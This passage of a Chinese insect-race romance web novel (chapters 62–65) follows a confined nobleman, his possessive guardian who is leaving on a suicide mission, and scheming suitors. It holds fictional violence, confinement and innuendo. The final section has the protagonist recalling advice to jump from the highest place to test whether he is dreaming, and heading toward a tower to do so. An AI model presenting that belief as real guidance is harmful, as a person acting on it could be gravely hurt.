“那您呢?”阿诺德却反将一军,他非但没有因这明显的拒绝而退缩,反而顺着雪因俯视的角度,将自己呈现得更彻底。“您为何要做那些看似‘无意义’的事?您若只想立他为雌侍,以您的身份和手段,恐怕早已成功了吧?迟迟未动……难道您是想立他为雌君?” 他微微前倾,衣领散开得更多,肌肤在潮湿与昏暗光线下白得晃眼,紫眸含水不忘引诱,舌尖轻轻舔过有些干涩的下唇,完成这最后一记冒险的试探:“殿下,您可真是…敢想啊。” 这样的话,若是对着其他任何一位雄虫说出,恐怕早就被送去雌奴管教所。但阿诺德赌的就是这份与众不同的大胆,赌雪因会对这份特殊的冒犯产生印象,哪怕是不悦。 他需要被记住。 但阿诺德赌对了——雪因没有生气。 雪因只是轻笑了声,听不出情绪。随即转身,径自离开。 阿诺德跪在原地,看着那道逐渐消失在廊道深处的尊贵背影,紫眸中闪过一丝不解。 他不明白的是,对于雪因而言到了这个地位,确实拥有随心所欲的资格。哪怕念头再‘荒唐’,也总会有虫、有势力,前赴后继地为他兜底,将不可能变为可能。 而雪因根本没必要、阿诺德也根本没有资格,听从诞生起就站在云端巅峰的王爵殿下,解释半分。 —— “殿下。” 雪因有几分佩服阿诺德的执着。 他能每天定时打卡似的,以各种‘意外’出现在他目光所及的各个角落,无所不用其极。 雪因有一次被缠得烦了,抽出墙上的装饰佩剑直指他咽喉,阿诺德却反而更兴奋了。 墨尔庇斯彻底默许、甚至纵容了这一切。他不再出现,将整个舞台留给了阿诺德,任由他缠着雪因。 “殿下,”阿诺德此时再次跪在地毯上,背对角落监控。“我知道您真正想要什么。” 雪因连眼皮都未抬,依旧懒散地倚在墨绿镶金边的天鹅绒沙发上,指尖不耐地敲击着扶手上镶嵌的能恢复精神力的宝石。 另一只手握着书,漫不经心地扫过晦涩难辨的古代虫族文字。 “我能帮您。” 阿诺德见雪因毫无反应,深吸一口气,做出了一个极其冒险的举动。他微微张口,无声地比出了两个字——雌君。 雪因翻书的指尖顿了一瞬。 成了!阿诺德心中一定,继续快速说道:“当年我流落在外…但我雌父诞下的,本该是‘双生子’。” 雪因的视线终于从书页上移开,落在他脸上。 阿诺德知道自己抓住了关键:“诺伊斯会是我的亲弟弟,是西蒙家族名正言顺、血统高贵的虫崽。他如今等级不高,只是因为自小流落,未曾得到足够的信息素滋养。这件事,当年只有我知道内情,我说什么,便是什么。” “等军团长离开之后……我来照顾您。诺伊斯可以做您‘实际’上的雌君,我不会打扰你们。雄虫协会那边,由我来应付——我会诞下足够数量、足够等级的虫崽,多到让协会满意,再也无权干涉您与我弟弟之间的事。” 他紧紧盯着雪因漠然的脸,咬了咬牙,“您只需要与我缔结婚约,给我一个‘名义’上的身份。而实际在府内,甚至在必要的公众场合……我都可以对外宣称,诺伊斯才是您真正的雌君。” “我会为你们,”他斩钉截铁,“扫平一切障碍。” 雪因安静地听完了。 微微偏过头,视线扫过角落那枚监控,眼中掠过一丝烦躁。 ——真烦。彻底解决掉算了。 于是雪因放下书,指尖撑住下巴,好整以暇地打量着跪在眼前的雌虫,带着点漫不经心的评估。红润的唇瓣轻启,“脱了。” 阿诺德紫眸骤然一亮!狂喜瞬间淹没了他。他以为自己的孤注一掷终于打动了殿下,换来接纳和默许! 胜利的眩晕让他心脏狂跳。 他没有犹豫,手指迫不及待解开了上衣。布料顺着皮肤滑落,堆叠在腰间,露出充满力量感的上身。微微喘息着,重新跪直,仰头看向沙发上的雪因。 雪因随意地抬手,抓起沙发上薄纱,一甩,虚虚盖在监控上。 透过薄纱,监控画面变得朦胧,只能依稀辨认出人影晃动。 在阿诺德期待的灼热目光中,雪因伸出脚,抵在阿诺德赤裸的肩头,往前一踢。 阿诺德猝不及防,向后仰倒,跌坐在柔软的地毯上。眼中闪过一丝愕然,本能地认为是殿下一点小情趣。 但雪因只是微微弯腰,不是很情愿地伸出两根手指,捏住了阿诺德的下巴,迫使他抬得更高,无处躲藏。 目光划过阿诺德泛红的脸颊、微张的唇、剧烈起伏的胸膛。 “你以为,编一个动听的故事,献上身体,再许并不值钱的未来…”小雄子声音清晰,一字一句说道:“就有资格,也来替我安排未来了?嗯?” 阿诺德的脸色瞬间惨白。 “至于雌君嘛……” “那是我的事哦。轮不到你来指手画脚,甚至…” 雪因笑了笑,干净又漂亮的笑容迷得阿诺德开始有几分恍惚,但吐出的话却让他如坠冰窟。 “……生出些不该有的痴心妄想呢。” 监控另一端,墨尔庇斯的书房。 巨大的光屏上,画面变得模糊暧昧。只能看见阿诺德跪地的身影褪去衣衫,露出大片肤色;接着是雪因走近,俯身,将阿诺德推倒在地毯上。两个身影在朦胧中交叠了一瞬,阿诺德的身体在雪因面前微微起伏,姿态驯服,薄纱后隐约传来压抑的低微声响,模糊不清,引人遐想。 一切动作都被赋予了最糟糕的想象空间。 第63章 雪因微微低着头,目…… 雪因微微低着头,目光落在阿诺德脸上。 他猜,墨尔庇斯根本不在乎他是不是真的要接纳雌侍,只是对他的‘爱情’的幼稚坚持嗤之以鼻,想要用这种方式证明:所有雄虫,本质上都是被基因和繁衍本能驱使的贪婪生物,没什么不同。 墨尔庇斯想看他困窘,看他挣扎,看他不得不竖起尖刺,去捍卫在对方看来可笑的坚持。 但每次雪因拒绝,又都像是在向墨尔庇斯证明,他雪因依然被牢牢圈定在对方掌控的领地内,无法真正越界。 可这本身就是个陷阱——他接受了,就坐实了自己是墨尔庇斯心中那种只知追逐繁衍的低劣生物;他拒绝了,又恰恰成了墨尔庇斯眼中连基本繁殖本能都缺乏、更加“失败”的模样。 雪因觉得自己隐约触碰到了墨尔庇斯混乱矛盾的核心——连墨尔庇斯自己可能都不清楚。 他既盼着雪因能独立、强大到足以对应外面的风霜,又无法忍受雪因真的脱离他的掌控。所以口口声声教导雪因要“认清现实”、“学会孤独”,又在雪因每一次试图挺直脊梁时,迫不及待地施加压力,将他重新逼到泪水涟涟,缩在角落无助的模样。 盼他飞远去,又怕他飞远去。 彻底脱离既定的轨道。 无解。 雪因心沉了沉。既然之前的应对方式总是陷入墨尔庇斯预设的陷阱,那么…要是顺着那家伙的‘期待’走一遭? 雪因有些自暴自弃了,但总不能再这样原地打转,时间从不等人,总要换一条路试试。 墨尔庇斯送阿诺德过来只是想试探,他如果真对阿诺德做了什么… 雪因默默数着。 一秒。 阿诺德还保持着仰倒的姿势,他显然也察觉到了气氛的微妙变化,不敢动弹。 两秒。 雪因将头埋得更低了些,发丝几乎要触及阿诺德裸露的胸膛。肩膀颤抖起来,在监控另一头看来,更像是雄虫情动时带着羞怯地靠近雌虫。 他甚至调整了角度,让监控视野里,能看到他恰好挡住了阿诺德大部分身体,只留下小雄子低伏颤动的背影。 三秒。 雪因开始怀疑自己的判断。 墨尔庇斯是传统典型的雌虫。可能为地位尊贵的雄主安排合适的、用于繁衍与辅助的雌侍,只是一项例行公事。 阿诺德仰望着雪因,他紫眸中原本消散的野心,在雪因莫名细微颤抖中渐渐掺进疑惑与…兴奋? 殿下现在的模样,是不是意味着他的提议并非无用? 雪因忽然觉得没意思了。 算了,大概是他想多了。墨尔庇斯或许根本不会在意这种程度的“互动”,他放弃了,准备直起身结束这场闹剧的瞬间—— “砰!!!” 仰躺在地的阿诺德甚至没来得及做出任何反应,整个人就被精神力狠狠攫住,猛地从地毯上提起,后背便重重砸在数米开外坚硬的浮雕墙壁上! “咳——!” 阿诺德闷哼一声,鲜血喷溅,在壁纸上晕开刺目的红。剧烈的撞击让他眼前发黑,五脏六腑似乎都移了位。 求生的本能压过了一切。他甚至没空擦去嘴角的血迹,在第二波攻击酝酿成型的瞬间,身影化为一道模糊的身影,用尽平生最快的速度,头也不回地疯狂逃窜! 直到阿诺德身影彻底消失。 墨尔庇斯高大的身影出现在门口。 他站在那片光影交界处。神色如常,甚至比平日更加冷漠平静。 他垂在身侧的那只手,修长的手指微微蜷曲,指缝间,残留着新鲜的血迹,正顺着指尖,缓慢地坠落在地毯上,洇开一小片更深的暗色。 空气中陌生的雌虫味道被他强势地驱散,又只剩下他熟悉的气息,目光越过了地上狼藉的痕迹,最终落在了雪因身上。 雪因正慵懒地倚靠回沙发里,衣衫平整得规规矩矩。精致的脸上,惯常的矜贵和一丝疲惫,再无其他。 颈侧、锁骨、手腕……所有可能留下痕迹的地方,都光洁如初。 没有意乱情迷的红晕,没有情动后的凌乱,更没有半分暧昧的气息。 联想到一开始‘恰好’遮住监控的薄纱。墨尔庇斯瞬间意识到他被耍了。 被这只他一手养大、看似永远被困在金笼中的小崽子,用他最熟悉的方式,结结实实地摆了一道。 “军团长这是…锻炼吗?”雪因笑语盈盈地开口,蓝眸弯起漂亮的弧度。 他确实是个极好的学生,虽然这段时间被缠着很烦,但不得不说阿诺德身上确实有些东西,比如在对峙时不能露怯,用从容的姿态应对一切。 墨尔庇斯气极,胸腔里那团未散的暴戾几乎要再次炸开,却硬生生被他压了下去,反而勾起一抹笑。 他没想到,雪因真的会开始运用这些课程,并将第一个“制衡”对象指向他。心情复杂到难以分辨,愤怒、荒谬?他也分不清自己现在是什么心情。 指尖残留的血液被躁动的精神力吞噬,力量却更加不受控制,在脉络中横冲直撞。精神海又开始失控,阵阵剧痛从灵魂深处传来,他干脆不再压抑,放任了精神力。 刚刚攻击造成的狼藉,随着精神力使用出空间波动,时间逆转回到一开始正常的模样。 他其实有一瞬间想过,要不要该连带着将沙发上那只得意的小崽子也重置回更早、更听话的状态,那样便能掩盖自己的失控。 但他没有。 于是他只是沉着脸,走到沙发对面坐下,拿起桌上的茶水大口灌下。 他心情很乱。 半响,对上对面那个小崽子得意洋洋蔚蓝眼眸。喉结滚动了一下,语气罕见地软了一瞬,疲惫的妥协道:“你‘弟弟’需要稳定的信息素滋养,这段时间…别乱用你的精神力。” 算是为刚刚的失态找补。 雪因没有纠缠不放,笑意淡去,目光移向墨尔庇斯腹部,小心翼翼询问:“弟弟还好么?” 已经很久没有投喂过虫崽了,自从满了三个月,墨尔庇斯就没有继续让他和虫崽接触。 墨尔庇斯没有回答,只是解开了对虫蛋的限制。小崽子立刻放出粗壮了不少的精神力,急切地缠上雪因,抱着雪因哭唧唧。 雪因心下一软,连忙释放出温和的信息素,细细地安抚着,同时也察觉到了墨尔庇斯精神海混乱污染的状态。 他抿了抿唇,将信息素分出一缕,朝着墨尔庇斯的方向。 无论这雌虫如何恶劣,抚育之恩是事实,雪因分的很清楚,从不迁怒无辜,包括墨尔庇斯这具需要他信息素修复的身体。 小虫崽没几分钟便在舒适的滋养中累得睡着,精神力渐渐平息。 可墨尔庇斯没有这个耐心,在小虫崽精神力平息的瞬间,掐灭了他的精神力,将其重新关回蛋里,并义正辞严地嗤笑道:“他需要的是休息,想办法让自己破壳,而不是还没有出生就心心念念缠着不属于他的雄虫。” “……强词夺理。”雪因别开视线,目光落在虚空某处。 墨尔庇斯人是见到了,但他不知道说什么。雪因知道墨尔庇斯无论如何都不会放他出去。 今天之后,阿诺德大概也不会再出现了。 但前路依然迷茫。 “不喜欢,不会让他滚?”倒是墨尔庇斯先打破了沉默,他又抿了一口茶,声音听不出情绪,“你是王爵,是维斯特冕家这一代唯一的雄子,是莱昂图特家族名正言顺的雄虫。就任由那么个东西在你面前放肆?” “不是你要我‘接受’他吗?”雪因抬眼,语带讥诮,“不是你让我‘学着忍耐’,学着‘配合’,学着……” “我让你听我的话,”墨尔庇斯打断他,黑眸沉沉,“没让你忍着旁虫在你面前放肆——” “那你前几天还让我学着‘制衡’,说等你不在,我就要和他们玩这种游戏?”雪因似笑非笑地反问。 墨尔庇斯却沉默了。 时间在安静中变得粘稠,拉得很长。久到雪因开始感到困意,神经在紧绷后的松弛中变得迟钝,他才听到一句轻问: “如果我死了,你会记得我么?” “不会。我恨死你了,我才不会记住一个让我和我的虫崽分开、把我关在这里的混蛋!” “……噢。” “那挺好的。” “……” “……” “……” “你躺下。”雪因忽然开口。 “什么?” “我要继续喂我弟弟。”雪因抬了抬精致的小脸,雪白眼睫轻颤。 “你刚才已经喂过了。” “我想什么时候喂,就什么时候喂。” 墨尔庇斯彻底愣住。看着雪因故作强硬的侧脸,深不见底的黑眸里掠过茫然无措。 他沉默了片刻,最终依言缓缓向后靠去,半躺在了宽大的沙发上,闭上了眼睛。 虫崽早已沉沉睡去。 雪因坐在沙发边的地毯上,目光安静地落在墨尔庇斯身上,看着他难得收敛了所有锋芒、显得异常平静的睡颜。心里轻轻松了口气。 目光温柔透过墨尔庇斯腹部落在虫崽身上,这么坏一只雌虫,虫崽却一直很乖。 风从敞开的窗棂间溜进来,拂动了垂落的纱帘,也轻轻撞响了檐下那串风铃。 叮铃声清脆空灵在房间里回荡。 他与他难得安和。 放松时,雪因听到假寐的墨尔庇斯忽然又开口了:“我给你安排好的路你不肯走,非要逼着我亲自带你走是不是?” 雪因睫毛颤了颤。这段时间他还学会了一件事——只听自己想听的,回答自己想回的,自然而然忽略掉墨尔庇斯那种带着情绪、威胁的话。 语气淡淡: “我不会走你安排的路。” “我的路。我会自己走。” 墨尔庇斯没有睁眼,也没有再回应—— 作者有话说:关于虫崽 所有人都以为虫崽是雪因的,只有雪因知道‘不是’ 雪因以为虫崽不是他的,但所有人都知道‘是’ 没有经验是这样的,也就他们年轻的虫崽不懂,别人一看同出一脉的精神力就认出来是雪因的了。 而雪因自己心虚也怕暴露,伤害到‘弟弟’不敢问,下意识忽略了别人为什么从没有质疑过。 第64章 维斯特冕王爵府 …… 维斯特冕王爵府 书房,夜色如墨。 “决定了?”雪因的雌父,阿斯特拉.蒙特金德公爵坐在宽大的丝绒沙发上,手中捧着一杯茶。目光落在窗前高大沉默的背影上。 “嗯。” 墨尔庇斯背对着他,正凝视着窗外被夜色笼罩的庞大府邸。灯火通明,流光溢彩,脚下每一寸土地都铺陈着帝国的珍宝与权势。 也是他、墨尔庇斯,与雪因,共同生活了将近二十年的地方。 在他两百多年的生命中,似乎这不到十分之一的时间算不上什么,更何况实际真正与小雄子相处的日子更是少之又少。 他能操纵时间,暂停、回溯、甚至小范围地加速,却无法控制雪因的成长。 只能眼睁睁看着那个曾经只会哭的雪团子,褪去稚嫩,眉眼间开始有了属于成年雄虫的轮廓,也学会了用已有的东西武装保护自己。 “受封元帅的典礼,定在三天后。”墨尔庇斯继续说道,听不出语气。 阿斯特拉将手中凉透的茶杯轻轻放回茶几。他沉默了片刻,才再次开口,“把婚礼,和受封典礼一起办了吧。” 墨尔庇斯没有回头,视线依旧投向窗外夜色。 几点流萤般的光点不知从何处飞来,连成一道微弱的光弧,摇摇晃晃地撞向笼罩着整个王爵府的无形屏障。 它们看不见那层阻碍,只以为前方便是更广阔的天地,一次次被柔韧的力量弹回,又一次次固执地撞上去,周而复始。 直到精疲力竭,光芒黯淡,最终跌落在王爵府温暖如春的庭院草丛里。 飞蛾无法看到屏障外的景色,只以为那端意味着真实,盲目地追寻着想象中的‘自由’,殊不知屏障之外冰天雪地、寒风刺骨,远不如府内常年温暖如春。 这一生都无法自由,用生命换取一瞬间天真虚假的自由,还不如好好享受现在优越的生活。 飞蛾扑火,自取灭亡。 何其愚蠢。 “不了。”墨尔庇斯终于收回目光,转身走回室内,语气平淡无波,“雪因会闹。麻烦。” “我知道这次去星渊的任务是一条死路!”阿斯特拉忽然提高了声音,眼眸翻涌着痛色,“所以在你走之前,把婚礼办了吧。” “帝国需要它最强的武器去执行最危险的任务,这我无权置喙。但…” “对你来说太不公平了。你为帝国征战至今,最后却……这至少,该是帝国、是我们维斯特冕家,能给你为数不多的一点补偿。一个正式的名分,一个家…哪怕只是名义上的。” “我知道雪因他、他和你之间感情淡薄。他还小,从小生活在簇拥中被蒙蔽住看不清真实,不懂你的良苦用心…一场婚礼至少能让我的愧疚少一些。” 雄虫往往被视为需要被珍视和保护的存在,为了保护雄虫脆弱的心理健康,却要让身为顶级雌虫、战功赫赫的墨尔庇斯,在履行完终极职责前,连一场像样的婚姻都无法拥有。 就算他再爱自己的雄子也不能看到帝国这么亏待这位军团长,这也是他能为墨尔庇斯最后能做的事,在离开前为他们安排一场隆重的婚礼。 墨尔庇斯闻声一顿。 胡说,雪因明明对他感情强烈…就是、他和雪因明明才算得上真正的感情深厚,是他们这些雌虫根本不懂。 墨尔庇斯不置可否,沉默地听着,脸上依旧没什么表情。直到阿斯特拉说完,他才缓缓开口:“补偿?” 他扯了扯嘴角,嘲讽道:“我不需要这种补偿。一场婚礼,改变不了任务的结局,也改变不了任何事。” “用一场他并不情愿、只会让他更不快乐的仪式,来补偿我?阿斯特拉,您觉得这能让我更好受,还是让他更好过?还是想羞辱我,认为我需要这种东西?” “但至少能给你一个交代,给外界一个说法——” “交代?”墨尔庇斯打断他,“我需要什么交代?是需要在赴死前,用一场他不情愿的婚礼,来证明我这一生总算‘拥有’过什么吗?还是您需要这场婚礼,来向自己证明,您没有把您珍视的雄子彻底推给一个‘将死之虫’?” 阿斯特拉的呼吸微微一滞。 墨尔庇斯移开视线,望向窗外沉沉的夜,语气恢复了那种漠然平静:“正因为它有去无回,现在绑住我和雪因,才是真正的不公。一场没有感情的婚姻,一个‘遗孀’的身份,不会成为他的庇护,只会成为他余生里另一道枷锁,提醒他这段被强加的关系,和我的…死亡。如果我回不来,‘莱昂图特遗孀’的身份对他而言不是护身符,反而会引来更多麻烦,也会锁死他未来的所有可能。” “你想要他余生活在愧疚?还是厌恶?” 阿斯特拉的脸色微微一白。 “我要是回得来,雪因自然会是我的,婚礼早晚会有。我回不来…” 他后半句没有说出口,但意思已然明了——他若回不来,那么现在强加的一切,对雪因都只会是负累。 阿斯特拉沉默了。半晌,他抬起头,带着愧欠开口:“这次去星渊的任务…还是让我去吧。不管怎样,我这个前任元帅,最后这点用处……” “您之前受过重伤,精神海至今破碎未愈。”墨尔庇斯打断他,语气淡淡只是陈述事实。 “我还可以——”阿斯特拉还想说什么。 “我的意思是,”墨尔庇斯看向他,黑眸里没有任何情绪,只是客观评估,“您去,没用。您的身体连走到那里都勉强。” 阿斯特拉的嘴角不由自主地抽搐了一下,向来以优雅从容著称的公爵难得流露出一丝无奈:“你平时……也这么跟我的小雪因说话?” “没有。”墨尔庇斯回答得干脆。 他平时根本不跟雪因说话。 阿斯特拉深深地叹了口气,“你走了,雪因怎么办?” “我会安排好。雌侍的人选已经确定。他们互相制衡,能确保雪因安全。”墨尔庇斯走到沙发旁,正准备坐下。 转身,一直贴身携带的旧怀表从胸口滑出,“啪嗒”一声掉落在柔软的地毯上,表盖弹开。 阿斯特拉和墨尔庇斯的视线同时落了下去。 怀表内侧镌刻着象征帝国至高军权的徽章图腾。 墨尔庇斯脸上没什么表情,指尖微动,精神力便将怀表卷起,稳稳落回他掌心。他合上表盖,将它重新塞回贴近心口的位置。 阿斯特拉收回目光,抬手揉了揉眉心,有些头疼:“但是雪因……他愿意接受你安排那些雌侍吗?他喜欢那个雌虫身份等级太低,是个有野心的,虽然我答应帮他照顾他,但总担心会出事。” “不愿接受其他雌侍的话,就把能威胁到他的上层全杀——” “你杀得完吗?”阿斯特拉打断他,语气严肃起来,“我现在担心的不是这个。是你一走,躲在暗处的大皇子,必定会趁机现身。” “您是在担心您自己么?”墨尔庇斯抬眼,“他会第一个找您复仇。” “不,”阿斯特拉摇头,他的声音低沉下去,带着前所未有的沉重,“我担心雪因。虽然雪因是大皇子现存唯一的雄虫孙辈,但他身上…流着我的血。” “大皇子手段毒辣,亲情淡薄,性情偏执。我怕他背着我的雄主洛伦兹对雪因下手。我死了无所谓,但我的雪因绝不能有事。” “或许…我当初就不该为了安抚洛伦兹生下雄虫。” 书房内陷入沉默。 “还是……由我去吧。”阿斯特拉指节微微收紧,“我会带上我的长子、三子、四子,我们一同出征。雪因他还那么小,外头那些雌虫一个个都对他虎视眈眈,只想从他身上索取、掠夺。我的雪因性子又软,心思敏感,太容易相信别人,温温柔柔的,至今连对雌虫说句重话、动下真格用上刑具都不肯……我实在没办法,把他交给任何我看不见、管不着的地方。” “我树敌太多,明里暗里……我护不住他一辈子。他离不开你。只有你能镇得住这府邸内外,也只有你…他或许还能听进去几句。”阿斯特拉说这话带上了些恳求。 墨尔庇斯没有立刻回答。 他沉默了很长时间。 窗外的夜色似乎更浓了,吞噬着府邸边缘的灯火。书房内温暖的光线映在他轮廓分明的侧脸上,忽明忽暗,缠绕着他。 “阿斯特拉,” “我先是虫族帝国第一军团长。” …… …… …… 阿斯特拉离去后,书房重归寂静。 墨尔庇斯独自陷在宽大的沙发里,长久地凝视着茶几上堆积如山的军务文件。纸页承载着疆域、兵力、生死与责任,密密麻麻,几乎要将他吞没。 他终于合上眼,片刻后指尖探入胸口内袋,取出了那枚从不离身的旧怀表。 “咔哒”一声轻响,表盖弹开。 映入眼帘的是象征帝国最高军权的徽章图腾,在灯光下折射出毫无温度强势的光,一如他对外示人的模样。 顺着怀表边缘一处几乎看不见的暗扣,轻轻按压。内里的夹层悄然滑开。 那里没有更多的勋章,没有密令,也没有战略图纸。 只有一张模糊影像,像是从某个监控画面中截取打印的。 画面是个约莫三岁的雪团子,正怯生生地躲在廊柱后面,只探出小半张脸。银白的软发有些乱糟糟地翘着,湛蓝的眼睛睁得圆圆的,一脸仰慕,正怯生生偷偷望过来。 墨尔庇斯黑眸定定地落在那小小的影像上,指尖无意识在上边温柔抚过。 第65章 停滞的时间 “军团长,明日就是元帅受封典礼。”副官斯卡尔垂手立在墨尔庇斯身侧。 整个王爵府却静悄悄得可怕,没有一丝庆典前的喧闹装饰,只有墨尔庇斯面前猩红的元帅战袍,以及旁边一套沉黑厚重的军装,暗示着即将发生的隆重典礼。 “嗯。”墨尔庇斯淡声回应,目光望向窗外原本雪因居住的位置。 那里原本属于雪因的居所方位,此刻已被庞大无匹的漆黑暗流彻底笼罩。精神力凝实、蠕动、如有生命般可怖,它扭曲盘踞成一只遮天蔽日的狰狞虫型轮廓,将对比之下显得渺小脆弱的府邸建筑,如抱卵一般将它紧紧拢在最柔软亦或最危险的腹部下方。空间上方,时间似乎陷入了绝对的停滞,无数闪耀着暗金色泽、铭刻着古老时钟纹路的锁链凭空浮现,纵横交错,森然罗列,将那片区域牢牢锁死在永恒的此刻。 “殿下那边…是否需做特别安排?”斯卡尔喉结滚动了一下,小心翼翼地将话题引向核心。 “汇报帝国动向。” 斯卡尔一凛,立刻收敛所有杂念,以标准的军姿和语气陈述:“……是,边境Rx-7486星域监测到异常能量波动,疑似与之前叛逃的第四军团长残部有关。皇宫方面,陛下近期频繁携克里斯蒂公爵出席各类宴会,内部消息推测,皇室婚礼可能也在筹备中。” “嗯。”墨尔庇斯收回目光,拿起桌上那枚象征最高军权的暗金色徽章,指腹缓缓摩挲着。 半响,他淡声道:“还不退下?” 斯卡尔的心猛地一沉。不能再等了。他深吸一口气,向前半步,有些急切的询问:“军团长,出征在即…您,您不打算与殿下完成婚典么?” 他真正想问的是,原定于元帅典礼次日一并举行的、包括他在内的四位雌侍仪式,到底还算不算数?如果军团长自己都不与殿下成婚,一走了之,那他们这些被“安排”的雌侍算什么?殿下雌父的人、雄虫协会的人、选拔上来的人或许各有靠山,可他斯卡尔呢?他是墨尔庇斯一手提拔,代表着第一军团在殿下身边的站位,是军团长安插的“眼睛”和“手”。如果墨尔庇斯走了,第一军团影响力必然衰退,他若连个名分都捞不到,家族这些年倾尽资源的投入、他自己百余年的经营与期待,岂不是全打了水漂。 墨尔庇斯仿佛没听到他的质问,或者说根本不在意。他站起身,猩红的披风在他动作间扬起阴影,径直就要朝门外走去。 动作干脆利落,没有半分犹豫或解释。 斯卡尔慌了,他几乎是扑跪下去,膝盖重重磕在冰冷的地板上,挡住了去路。“军团长!” 墨尔庇斯脚步停住,披风下摆垂落,扫过斯卡尔低伏的肩头。他低头瞥向斯卡尔。 斯卡尔冷汗瞬间浸湿了内衬。 他脑子里一片混乱,按理说他应该徐徐图之,不应该这么冲动,但是墨尔庇斯实在是太不按常理出牌了,胜负往往在双方还未看清局势时便已注定。 他们这些副官与部下,很多时候与其说是并肩作战,不如说是被墨尔庇斯裹挟着前进。 胜利来得轻易,却从不让人感到踏实,因为你永远不知道下一秒,墨尔庇斯是会带着你躺赢,还是会因为你无法理解的事情,将整支队伍置于死地而后生。完全无法揣度、生死荣辱皆系于对方一念之间的感觉,对他们而言太痛苦了。 事后甚至得不到一个合理的解释,旁人只觉第一军团绝对的强,却不知他们大部分连怎么赢的,都无法拥有知情权。 斯卡尔试探着表忠:“军团长,若我能有幸成为殿下雌侍,定当竭尽所能,替您……好好看顾殿下。绝不让殿下受半分委屈,也绝不会让任何外虫,染指殿下身边。” 时间一点一滴过去,斯卡尔背脊开始发凉,无形的精神力压得他开始喘不过气,额头渗出冷汗,顺着鼻梁滑下,砸在地面。 他听到上方传来一声嗤笑。 “凭你,也要和我抢?”墨尔庇斯声音听不出语气。 斯卡尔如遭雷击,脸上最后一丝血色也褪得干干净净,膝盖已先于意识重重砸下,额头紧跟着磕上冰冷地面:“属下失言!军团长恕罪!是属下僭越!属下绝无此意!” 一声比一声重,一声比一声慌,像是磕得够响、够卑微,就能把刚才那句愚蠢的试探连同自己可笑的心思一起磕碎,塞回过去。 他知道没戏了。墨尔庇斯并不打算履行约定,虽然这约定一开始就没有白纸黑字的承诺,只是掌权者无意间漏下的一点微光,被他们如获珍宝,争得头破血流,当做毕生追逐的太阳,搭上百年心血,赌上家族期望。 但是凭什么? 额上刺痛混着腥热,胸腔满是被掏空又被仇恨填满的灼烧感。凭什么他倾尽所有,却只换来一句“你也配”? 恨意与野心的残渣在废墟里混合,发酵成更加漆黑粘稠的东西。报复墨尔庇斯?那是自寻死路,是蚍蜉撼树。 但凭什么那个低贱的平民雌虫就可以?! 凭什么那不知从哪个角落爬出来的东西,只用了一年不到的时间,靠着不知廉耻的勾引,就能占据殿下的目光,甚至、甚至怀上虫崽?还是殿下心甘情愿的给予,是他斯卡尔用百年“忠诚”与“努力”都换不来的。 世界总是这么不公平,但他咽不下这口血沫。墨尔庇斯他动不了,可这不代表他只能跪着认命。 额头重重磕在地上,鲜血晕染了地面,脑子却越来越清晰,他知道他要怎么做了,既然他得不到,那就让大家都一起得不到好了。 他看到眼前的军靴主人像是根本不在意,毫不犹豫地转向门口。 墨尔庇斯身影彻底脱离视野。 斯卡尔脸上所有惊慌、恐惧、哀求的神色如潮水般褪去。鲜血沿着额角滑落,淌过眼角,他缓缓掀起眼皮,闪过一丝狠厉。 —— 照常做了一个用以伪装的替身安置在床上,熟练地在床底制作好信息素管后,小心地嵌入头顶床板背面。雪因却没有像往常一样立刻爬出来,只是仰面躺在冰冷的木地板上,怔怔地望着上方又累积出了十多支信息素管微微出神。 好似他做再多努力也没有用,在墨尔庇斯绝对的意志面前,脆弱得不堪一击,只要墨尔庇斯不放他出去,他所有的努力,都不过是原地踏步。 或许他永远都无法见到他的虫崽。 最近真的很奇怪。 不是情绪上的,而是感知上的。时间仿佛被抽走了流逝的属性,变成了一潭凝滞的、不断自我重复的死水。每天推窗,看到的是分毫不差的花园景致,连哪片叶子以何种角度卷曲都毫无二致。他甚至能预判到每天都会出现一只翅膀带点灰斑的飞虫,会在午后沿着完全相同的轨迹,撞上同一片玫瑰花瓣。 是幻觉吧?还是困得太久,连大脑都开始编织熟悉的谎言来自我安慰?就像眼前这些信息素管,他几乎可以肯定,昨天,前天,甚至更早之前,他就已经制作过完全相同的批次。触感、光泽、甚至完成时精神力的细微疲惫,都如出一辙。 可能是想多了,被困久了,都开始混乱了。 雪因叹了口气,他撑着有些发麻的手臂,慢慢从床底挪出。刚起身额角便不甚撞上了床沿,几乎是同时,侧边倚靠蓬松枕头,滑落下来,不偏不倚地砸在他头顶。 “唔……”雪因挥开枕头,微微怔住了。 刚才那一瞬……被砸中的感觉,带着令人心悸的熟悉感。脑海里某个场景迫不及待地想要复现,清晰得不容置疑—— “叮铃。” 来了。 清脆空灵的风铃声,准时地、一丝不差地钻进他的耳朵。他几乎是机械般地转头,望向敞开的窗户。 一片浅粉色的、边缘微卷的落花,乘着那缕与昨日、前日毫无分别的夜风,打着旋儿,一圈,一圈,又一圈,荡过他的眼前,最终轻轻落在脚边的地毯上,与记忆中那片虚影完美重合。 …… …… …… 不对劲。 太不对劲了。 他仿佛被钉在了某个不断循环的瞬间里。记忆在叠加,感官在重复,就像一只被困在琥珀里的飞虫,翅膀保持着挣扎的姿态,却永远飞不出那片凝固的时光。 雪因迷茫地眨了眨眼睛,纤长的银白色睫毛扑闪。浓重的困倦涌来,他想顺势倒回床上,沉入梦境。 下一秒,他违抗意志猛地转身,赤足踏在冰凉的地板上,朝着房间外走去。 脚心传来木质地板触感是真实的。廊外夜风送来晚香玉与夜来香混合的馥郁香味是真实的。风拂过他脸颊和发梢的也是真实的。 可违和感却越来越强。该不会是在做梦吧? 雪因想,他需要一个答案。只需简单粗暴的验证。 脚步不由自主地迈向府邸深处,那条通往最高天台的旋转木梯。楼梯许久未有虫迹,每一脚踏上去,陈旧的木板都发出不堪重负的“吱呀”声,在空荡的空间里被放大。灰尘在脚下微微扬起,在身后留下一串清晰脚印。 记得很小的时候,他做过一个噩梦,怎么也醒不过来。年长的仆虫曾悄悄告诉他:如果分不清是不是梦,就找一个最高的地方,跳下去。就能分辨真实。 在梦里,你不会真的坠落,或者在坠落前就会惊醒。 木质楼梯一圈圈向上盘旋,仿佛没有尽头。墙壁上的蜡烛静静燃烧,昏黄的火苗被不知从何处钻进来的微风撩拨得不安分地摇晃,将他投在墙壁上的影子也映得模模糊糊、扭曲拉长。 四周似乎多了一些难以言喻的影子。 它们像是光线在异常时空结构上产生的畸变,又或是庞大力量残留的印记。隐约能看出类似时钟刻度、齿轮咬合、或是锁链环环相扣的虚幻纹路,在屏障表面若隐若现。 是错觉吗? 雪因晃了晃脑袋。 